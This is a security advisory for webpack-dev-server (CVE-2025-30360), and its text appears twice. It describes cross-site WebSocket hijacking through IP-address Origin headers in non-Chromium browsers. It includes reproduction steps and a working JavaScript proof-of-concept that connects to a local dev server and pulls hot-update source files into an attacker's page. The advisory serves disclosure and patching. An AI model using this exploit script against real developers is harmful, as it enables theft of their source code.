Headline
GHSA-9jgg-88mc-972h: webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin
header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin
headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost
function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i
- Run
npx webpack-dev-server
- Open
http://{ipaddress}/?target=http://localhost:8080&file=main
with a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.js
in the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: webpack/webpack-dev-server@72efaab (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run npm i
- Run npx webpack-dev-server
- Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
- Edit src/index.js in the extracted directory
- You can see the content of src/index.js
The script in the POC site is:
window.webpackHotUpdate = (…args) => { console.log(…args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } }
let params = new URLSearchParams(window.location.search); let target = new URL(params.get(‘target’) || ‘http://127.0.0.1:8080’); let file = params.get(‘file’) let wsProtocol = target.protocol === ‘http:’ ? ‘ws’ : 'wss’; let wsPort = target.port; var currentHash = '’; var currentHash2 = '’; let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match(‘"type":"ok"’)) { s = document.createElement(‘script’); s.src = `${target}${file}.${currentHash2}.hot-update.js`; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } }
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
References
- GHSA-9jgg-88mc-972h
- https://nvd.nist.gov/vuln/detail/CVE-2025-30360
- webpack/webpack-dev-server@72efaab
- webpack/webpack-dev-server@d2575ad
- https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127